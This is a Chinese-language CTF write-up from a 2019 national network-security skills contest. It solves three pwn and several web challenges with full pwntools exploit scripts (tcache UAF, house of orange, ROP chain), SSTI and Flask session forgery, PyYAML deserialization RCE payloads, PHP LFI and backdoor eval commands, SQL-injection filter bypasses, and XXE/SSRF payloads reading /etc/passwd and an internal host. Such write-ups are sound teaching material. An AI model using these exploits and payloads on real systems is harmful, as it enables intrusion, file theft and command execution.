上周参加了“2019年中国技能大赛—全国电信和互联网行业网络安全管理职业技能竞赛”(国家级二类竞赛),本届的题目质量比往届高了不少,看得出主办方在题目方面花了不少心思(给出题人点个赞),web&pwn的题目难度分级控制得不错,部分题目还挺有意思,赛后特此总结一下。
[*] '/home/kira/pwn/gxb/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
init_0();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_int();
if ( v3 != 2 )
break;
delete();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add();
}
if ( v3 == 3 )
{
edit();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(1);
show();
}
}
}
菜单式题目,程序有malloc,free,edit,show4个功能。题目提供了libc,版本为2.27,此版本涉及到tcache,需使用ubuntu18.04进行调试。漏洞点比较明显,不过题目进行了一些限制,下面一一分析。
add函数
unsigned __int64 add()
{
int v1; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("index:");
v1 = get_int();
if ( v1 < 0 || v1 > 4 || table[v1] )
exit(0);
table[v1] = malloc(0x80uLL);
++count;
puts("content:");
read(0, table[v1], 0x80uLL);
return __readfsqword(0x28u) ^ v2;
}
malloc固定大小为0x80,因此不能直接申请到超过tcache大小的堆块,同时只能申请0-4号5个堆块,有一个count的变量记录当前已申请数量。
delete函数
unsigned __int64 sub_B8D()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("index:");
v1 = get_int();
if ( v1 < 0 || v1 > 4 || !table[v1] || !count )
exit(0);
--count;
free(table[v1]);
return __readfsqword(0x28u) ^ v2;
}
free后没有清空指针,有一个明显的UAF漏洞。由于没有清空指针,因此本题限制了只能申请5个堆块。在malloc和free次数限制的情况下进行getshell是本题的考点。
这里需要了解一下tcache->entries的结构,查看heap开头的位置可以看到如下信息。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55992fc9dd90 (size : 0x20270)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x110) tcache_entry[15]: 0x55992fc9d3d0 --> 0x55992fc9d290
pwndbg> x/32gx 0x55992fc9d000
0x55992fc9d000: 0x0000000000000000 0x0000000000000251
0x55992fc9d010: 0x0000000000000000 0x0200000000000000 -> 2 对应 tcache_entry[15] 的数量
0x55992fc9d020: 0x0000000000000000 0x0000000000000000
0x55992fc9d030: 0x0000000000000000 0x0000000000000000
0x55992fc9d040: 0x0000000000000000 0x0000000000000000
0x55992fc9d050: 0x0000000000000000 0x0000000000000000
0x55992fc9d060: 0x0000000000000000 0x0000000000000000
0x55992fc9d070: 0x0000000000000000 0x0000000000000000
0x55992fc9d080: 0x0000000000000000 0x0000000000000000
0x55992fc9d090: 0x0000000000000000 0x0000000000000000
0x55992fc9d0a0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0b0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0c0: 0x0000000000000000 0x000055992fc9d3d0 -> tcache_entry[15]
0x55992fc9d0d0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0e0: 0x0000000000000000 0x0000000000000000
0x55992fc9d0f0: 0x0000000000000000 0x0000000000000000
可以看到记录tcache链表数量和tcache_entry指针位于heap中,我们可以对此段内存使用tcache attack进行修改,修改tcache链表内数量为7,这就可以不用填满就能泄露libc地址。
具体思路如下:
完整EXP:
def add(idx,content): p.sendlineafter("4.show\n",'1') p.sendlineafter(":",str(idx)) p.sendafter(":",content) def delete(idx): p.sendlineafter("4.show\n",'2') p.sendlineafter(":",str(idx)) def edit(idx,content): p.sendlineafter("4.show\n","3") p.sendlineafter(":",str(idx)) p.sendafter(":",content) def show(idx): p.sendlineafter("4.show\n","4") p.sendlineafter(":",str(idx)) add(0,'0\n') add(1,'1\n') delete(0) delete(0) show(0) print p.recv(6) heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) success(hex(heap)) t = heap - 0x250 tt = heap - 0x250 + 0x78 edit(0,p64(t)) add(2,'0\n') add(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(tt)) delete(0) show(0) libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebc40 - 0x60 success(hex(libc.address)) edit(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(libc.sym['__free_hook'])) one = 0x4f322 add(4,p64(libc.address+one)) delete(4) p.interactive()
[*] '/home/kira/pwn/gxb/Orange'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
nt __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax
init(*(_QWORD *)&argc, argv, envp);
getname();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
edit();
}
else
{
if ( v3 == 4 )
{
puts("bye");
exit(1);
}
LABEL_14:
printf("invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
add();
}
}
}
看到题目叫Orange,肯定需要利用huose of Orange,题目只有3个功能,add,edit,show,没有free的功能,典型的huose of Orange利用场景。简单看一下具体有哪些能利用的漏洞。
add函数
int add()
{
signed __int64 v0; // rax
signed int i; // [rsp+8h] [rbp-8h]
signed int v3; // [rsp+Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
if ( i > 8 )
{
LODWORD(v0) = puts("You can't add new page anymore!");
return v0;
}
if ( !*((_QWORD *)&heap + 2 * i) )
break;
}
printf("size:");
v3 = read_int();
if ( v3 <= 0 || v3 > 0x1FFF )
{
LODWORD(v0) = puts("size overflow");
}
else
{
*((_QWORD *)&heap + 2 * i) = malloc(v3);
dword_6020E8[4 * i] = v3;
v0 = 16LL * i + 0x6020EC;
dword_6020E8[4 * i + 1] = 1;
}
return v0;
}
malloc申请内存的大小范围很大,申请的heap块地址存放在bss段0x6020E0
edit函数
int edit()
{
signed __int64 v0; // rax
int v1; // edx
signed int v3; // [rsp+Ch] [rbp-4h]
printf("index:");
v3 = read_int();
if ( v3 > 7 )
{
puts("out of index");
exit(0);
}
if ( v3 != 5 || overflag != 1 )
{
if ( *((_QWORD *)&heap + 2 * v3) && dword_6020E8[4 * v3 + 1] == 1 )
{
printf("content:");
read_con(*((_QWORD *)&heap + 2 * v3), (signed int)dword_6020E8[4 * v3]);
v1 = strlen(*((const char **)&heap + 2 * v3));
v0 = 16LL * v3 + 6299880;
dword_6020E8[4 * v3] = v1;
}
else
{
LODWORD(v0) = printf("%s invaild index\n", &name);
}
}
else
{
printf("content:");
LODWORD(v0) = read_con(*((_QWORD *)&heap + 10), 1024LL);
overflag = 0;
}
return v0;
}
这里出题人故意留了很多漏洞供我们使用
LODWORD(v0) = printf("%s invaild index\n", &name);
,name的位置在bss段,紧接着存放heap块地址的内存,填满name打印时可以泄露heap地址;strlen
重新计算长度,而且输入没有进行00截断,可造成heap溢出;具体的利用思路:
huose of Orange的具体原理不在详述了,可以查看其他大佬的文章。
EXP:
def add(size): p.sendlineafter("choice:",'1') p.sendlineafter(":",str(size)) def show(idx): p.sendlineafter("choice:","2") p.sendlineafter(":",str(idx)) def edit(idx,content): p.sendlineafter("choice:","3") p.sendlineafter(":",str(idx)) p.sendafter(":",content) p.sendlineafter("name","0"*0x20) add(0x18) #0 p.sendlineafter("choice:","3") p.sendlineafter(":","6") # leak heap address p.recvuntil("0"*0x20) heap = u32(p.recv(4)) success(hex(heap)) # leak libc address add(0x18) # 1 edit(1,"1"*0x18) edit(1,"2"*0x18+p16(0xfc1)+'\x00') # top chunk add(0x1000) # 2 add(0x50) # 3 show(3) libc.address = u64(p.recv(6).ljust(8,"\x00")) - 0x3c4b20 - 0x668 success(hex(libc.address)) # house of orange add(0x10) # 4 add(0x10) # 5 payload = "3"*0x10 payload += '/bin/sh\x00' + p64(0x61) payload += p64(libc.symbols["__malloc_hook"]) payload += p64(libc.symbols['_IO_list_all']-0x10) payload += p64(0) + p64(1) payload = payload.ljust(0xd8+0x10,'\x00') + p64(heap+0xc0+0x10+0xd8+8) payload += p64(0)+p64(0)+p64(1)+p64(libc.symbols['system']) edit(5,payload+'\n') add(1) p.interactive()
[*] '/home/kira/pwn/gxb/overflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目使用静态编译,存在一个很明显的栈溢出,直接使用ROPgadget生成ropchain即可。
ROPgadget --binary overflow --ropchain
这题比较简单,属于pwn的签到题,不再详述了。
打开是一个blog的登陆页面,扫描一下可以发现存在/admin/
以及/config/
目录,题目有列目录
config.ini文件有数据库信息,不过数据库不能外连,没用。
[数据库连接信息]
host = '127.0.0.1'
user = 'root'
pass = 'root'
db = 'seclover'
[后台路径]
path='/admin/'
#需要修改后台路径时将admin文件夹重命名
点击download.php
发现会下载自身,不过文件为空,burp重放发现响应包中有filename=
参数。大胆猜测可以通过传入filename=
参数进行文件下载。
简单fuzz一下常见的文件目录,最后发现filename=/../etc/passwd
能读取到文件。
读取题目源码进行分析,发现checklogin.php
存在变量覆盖漏洞
<?php session_start(); ini_set('register_globals','1'); require_once('./../config/sql.php'); foreach (array_keys($_REQUEST) as $v) { $key = $v; $$key = $_REQUEST[$v]; } $sql = new sql; $userinfo = sql->select("`admin`","*","where `user`='$user'"); if($userinfo['pass']===$pass){ $_SESSION[admin] = 'true'; }else{ echo '密码错误!'; }
而后台验证是使用session进行判断,因此通过变量覆盖将$_SESSION[admin]
覆盖成True即可登陆后台。
http://x.x.x.x/admin/checklogin.php?_SESSION[admin]=true
登陆后台后发现有上传功能,直接上传php会报错,使用burp抓包,通过大小写绕过后台黑名单限制,但是发现无法正常解析,最后使用php5
成功解析,上传一句话木马直接getshell。
打开页面也是一个登陆界面,发现随便输入一个账号密码即可登陆,但是提示不是admin。
ssti是常见的考点,直接在url中测试输入/{{7*'7'}}
,发现404页面存在ssti。过滤比较严格,貌似无法直接读取文件或命令执行。不过发现config
没有过滤。那么可以通过{{config}}
读取secret_key
,获取后可以伪造session越权为admin。
'SECRET_KEY': 'c63701a0-f565-4a1f-a0b6-d0a80bf31b9a'
首先随意登陆一个账号,获取登陆cookie,解密cookie可以发现只有一个username字段
yJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo
py -2 flask_session_cookie_manager2.py decode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -c "eyJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo"
{u'username': u'123'}
将username修改为admin后,使用secret_key
重新生成cookie
py -2 flask_session_cookie_manager2.py encode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -t "{u'username': u'admin'}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.ELtihg.BnshJq3vrgRBfX7wTK-scsMxbOU
修改cookie,登录后发现增加了一个tools
的功能,页面直接提示是pyyaml
反序列化。
拿常见payload进行测试,发现有waf,目测是黑名单过滤,测试多个python命令执行的payload最后使用以下payload成功执行命令:
!!python/object/new:commands.getoutput ["ls"]
!!python/object/new:commands.getoutput ["cat f1111111111114g.txt"]
打开index.php
会自动跳转,并加入get参数,通过观察,很容易发现一个文件包含漏洞,直接使用伪协议读取一波源码。
http://100.100.100.122:8083/?f=home.php&n=Master
http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=home.php&n=Master
但是base64解码之后,发现php是进行了加密的。
<?php qv{tm|}8?G~ty.6hph?#..}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#..}{pw8?lja8lw8.}l8lp}8~ty.9?#..<Gl8%8<G_]LC?Gl?E#..q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c...}{pw8<~ty.#..} ?>
使用扫描脚本扫描一下,寻找是否存在源码泄露或其他更多提示。最后发现了存在phpinfo.php
。
> py -2 SourceLeakHacker.py http://100.100.100.122:8083/ 10 5
[ 302 ] Checking : http://100.100.100.122:8083/index.php
[ 200 ] Checking : http://100.100.100.122:8083/phpinfo.php
通过phpinfo发现题目加载了奇怪的模块
extension_dir /usr/lib/php/20151012
mysqli
使用文件包含下载扩展模块的so文件
http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=/usr/lib/php/20151012/mysqli.so&n=Master
拖入IDA进行分析,可以找到一个php_decode_compile_file
的函数
__int64 __fastcall php_decode_compile_file(__int64 a1, unsigned int a2)
{
signed int i; // [rsp+1Ch] [rbp-24h]
__int64 v4; // [rsp+20h] [rbp-20h]
size_t size; // [rsp+28h] [rbp-18h]
void *s; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( !(unsigned int)zend_stream_fixup(a1, &v4, &size) && !strcmp(*(const char **)(a1 + 88), "/var/www/html/home.php") )
{
s = malloc(size);
memset(s, 0, size);
for ( i = 0; i <= size; ++i )
{
if ( i <= 6 || i >= size - 5 )
*((_BYTE *)s + i) = *(_BYTE *)(v4 + i);
else
*((_BYTE *)s + i) = *(_BYTE *)(v4 + i) ^ 0x18;
}
*(_QWORD *)(a1 + 40) = s;
}
return orig_compile_file(a1, a2);
}
可以看到home.php
进行了xor,算法不难直接将之前获取的源代码进行异或得到明文。
<?php include '_flag.php'; echo '<h2>Welcome,'.$_GET['n'].'!</h2>'; echo 'try to get the flag!'; $_t = $_GET['_t']; if($_t && (intval($_t) === round(microtime(true)))){ echo $flag;
这里其实是出题人留的一个坑,如果强行爆破时间会得到一个假flag,重新查看so的代码,会发现intval
被hook了。
__int64 php_override_functions()
{
return php_override_func("intval", 8LL, (__int64)zif_intval_ex, &origin_funcs);
}
intval
被覆写成zif_intval_ex
,具体伪代码如下:
unsigned __int64 __fastcall zif_intval_ex(__int64 a1, __int64 a2)
{
if ( (unsigned int)zend_parse_parameters(*(unsigned int *)(a1 + 44), "s|z/", &v8, &v9) != -1 )
{
v11 = 0LL;
v12 = (_QWORD *)zend_hash_str_find(&executor_globals[38], "_GET", 4LL);
if ( v12 )
{
v35 = v12;
if ( *((_BYTE *)v12 + 8) == 7 )
{
v10 = zend_hash_str_find(*v12, "key", 3LL);
if ( v10 )
{
v11 = zend_hash_str_find(*v12, "content", 7LL);
if ( v11 )
{
zend_error(2LL, *(_QWORD *)v10 + 24LL);
zend_error(2LL, *(_QWORD *)v11 + 24LL);
}
}
}
}
php_printf("%s", *(_QWORD *)v11 + 24LL);
if ( v10 )
{
if ( v11 )
{
s = "openssl_decrypt";
v16 = v15;
v2 = strlen("openssl_decrypt");
src = s;
n = v2;
v57 = v2;
v58 = _emalloc((v2 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v58 = 1;
*(_DWORD *)(v58 + 4) = 6;
v59 = v58;
*(_QWORD *)(v58 + 8) = 0LL;
*(_QWORD *)(v58 + 16) = v57;
v60 = v58;
memcpy((void *)(v58 + 24), src, n);
*(_BYTE *)(v60 + n + 24) = 0;
v17 = v60;
*(_QWORD *)v16 = v60;
*(_DWORD *)(v16 + 8) = 5126;
v18 = (char *)(*(_QWORD *)v11 + 24LL);
v19 = &v62;
v3 = strlen(v18);
v24 = v18;
v51 = v3;
v52 = v3;
v53 = _emalloc((v3 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v53 = 1;
*(_DWORD *)(v53 + 4) = 6;
v54 = v53;
*(_QWORD *)(v53 + 8) = 0LL;
*(_QWORD *)(v53 + 16) = v52;
v55 = v53;
memcpy((void *)(v53 + 24), v24, v51);
*(_BYTE *)(v55 + v51 + 24) = 0;
v21 = v55;
*(_QWORD *)v19 = v55;
*((_DWORD *)v19 + 2) = 5126;
v22 = "AES-128-CBC";
v23 = &v63;
v4 = strlen("AES-128-CBC");
v28 = v22;
v46 = v4;
v47 = v4;
v48 = _emalloc((v4 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v48 = 1;
*(_DWORD *)(v48 + 4) = 6;
v49 = v48;
*(_QWORD *)(v48 + 8) = 0LL;
*(_QWORD *)(v48 + 16) = v47;
v50 = v48;
memcpy((void *)(v48 + 24), v28, v46);
*(_BYTE *)(v50 + v46 + 24) = 0;
v25 = v50;
*v23 = v50;
*((_DWORD *)v23 + 2) = 5126;
v26 = (char *)(*(_QWORD *)v10 + 24LL);
v27 = &v64;
v5 = strlen(v26);
v33 = v26;
v41 = v5;
v42 = v5;
v43 = _emalloc((v5 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v43 = 1;
*(_DWORD *)(v43 + 4) = 6;
v44 = v43;
*(_QWORD *)(v43 + 8) = 0LL;
*(_QWORD *)(v43 + 16) = v42;
v45 = v43;
memcpy((void *)(v43 + 24), v33, v41);
*(_BYTE *)(v45 + v41 + 24) = 0;
v29 = v45;
*v27 = v45;
*((_DWORD *)v27 + 2) = 5126;
v30 = &v65;
v65 = 1LL;
v66 = 4;
v31 = "0000000000000000";
v32 = &v67;
v6 = strlen("0000000000000000");
v13 = v31;
v36 = v6;
v37 = v6;
v38 = _emalloc((v6 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*(_DWORD *)v38 = 1;
*(_DWORD *)(v38 + 4) = 6;
v39 = v38;
*(_QWORD *)(v38 + 8) = 0LL;
*(_QWORD *)(v38 + 16) = v37;
v40 = v38;
memcpy((void *)(v38 + 24), v13, v36);
*(_BYTE *)(v40 + v36 + 24) = 0;
v34 = v40;
*v32 = v40;
*((_DWORD *)v32 + 2) = 5126;
if ( !(unsigned int)call_user_function_ex(executor_globals[54], 0LL, v15, &v61, 5LL, &v62, 0LL, 0LL)
&& *(_QWORD *)(v61 + 16) <= 0x10uLL )
{
zend_eval_string(v61 + 24, 0LL, &unk_1CE2);
}
}
}
origin_funcs(a1, a2);
}
这个函数的功能是通过get传入key和content,然后调用了openssl_decrypt函数,其中key为密钥,content为密文,加密方式为AES-128-CBC
,IV为0000000000000000
,密文解密后调用了eval。
那么,可以把需要执行的命令进行AES加密后,通过GET的方式传入参数进行命令执行,使用以下脚本生成payload:
$a = openssl_encrypt("system('ls');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000"); echo urlencode($a); $a = openssl_encrypt("system('cat *');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000"); echo urlencode($a);
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=%B6%9E%91%22%C6%D2%60Jr%0Bx%07Z%B8%1EQ
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=t%DA%0D%E8%A5g%7D%22A7%D0%5E%8E%8B%F8i%5B%030C%C2%3E%02%02%C2Fq%EDj%FAj%29
直接cat *
获取flag
<?php $flag='flag{s000_1s_th3_pHp_Ext3ens1on}'; ?> <?php qv{tm|}8?G~ty6hph?#}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#}{pw8?lja8lw8}l8lp}8~ty9?#<Gl8%8<G_]LC?Gl?E#q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c}{pw8<~ty#} ?> <?php if($_GET['f'] && !is_array($_GET['f'])){ include $_GET['f']; }else{ header("Location: /?f=home.php&n=Master"); } ?> <?php phpinfo(); ?>
打开题目,又是一个登陆界面,按照之前的做题经验,不可能是无脑爆破,尝试使用万能密码进行登陆。
username=admin' or 1#&password=123
登陆失败并返回
admin' 1# maybe password error!
可以发现or
没有了,估计是后台对部分关键字进行了替换为空。测试发现除了or
,还有select/and
被替换,直接采用双写即可绕过。
简单测试后,发现可以用布尔注入进行sql注入,条件为假时提示密码错误,条件为真时没有返回信息。
username=admin' anandd oorrd(mid(user(),1,1))>1000#&password=admin
返回信息:admin' and ord(mid(user(),1,1))>1000# maybe password error!
username=admin' anandd oorrd(mid(user(),1,1))>0#&password=admin
返回信息:nothing
修改一下tamper文件,用sqlmap最后注出admin密码为:a8ujj2fa2ddasd
登陆后发现一个留言窗口,输入类型为xml,那么很可能存在XXE,直接用常用的payload测试一下。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY flag SYSTEM "file:///etc/passwd">]> <root> <value>&flag;</value> </root>
发现可以正常读取文件。
尝试直接读取flag,但是试了/flag
,/flag.txt
,/flag.php
均无果。直接拿burp fuzz一下常见的系统文件
/proc/self/cmdline
/proc/self/environ
/proc/self/cwd/index.php
/proc/self/mounts
/etc/hosts
/etc/httpd/conf/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/usr/local/etc/nginx/nginx.conf
/etc/nginx/conf/nginx.conf
/proc/self/fd/2
/proc/self/fd/1
/proc/self/fd/0
最后在/etc/hosts
发现存在二层内网
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.55.2.11 68337dd50b7d
172.55.2.10 inside_web.com
XXE+SSRF读取内网web
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php">]> <root> <value>&flag;</value> </root>
base64解码后,发现内网网站可用file
参数读取文件
<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>file browser</title>
</head>
</body></html>
plz set file to access
继续尝试直接读取flag
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php?file=/flag">]> <root> <value>&flag;</value> </root>
这次成功了!
<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>file browser</title>
</head>
</body></html>
flag{f1eed0ffda188381fc2521e61b9a2788bb3a}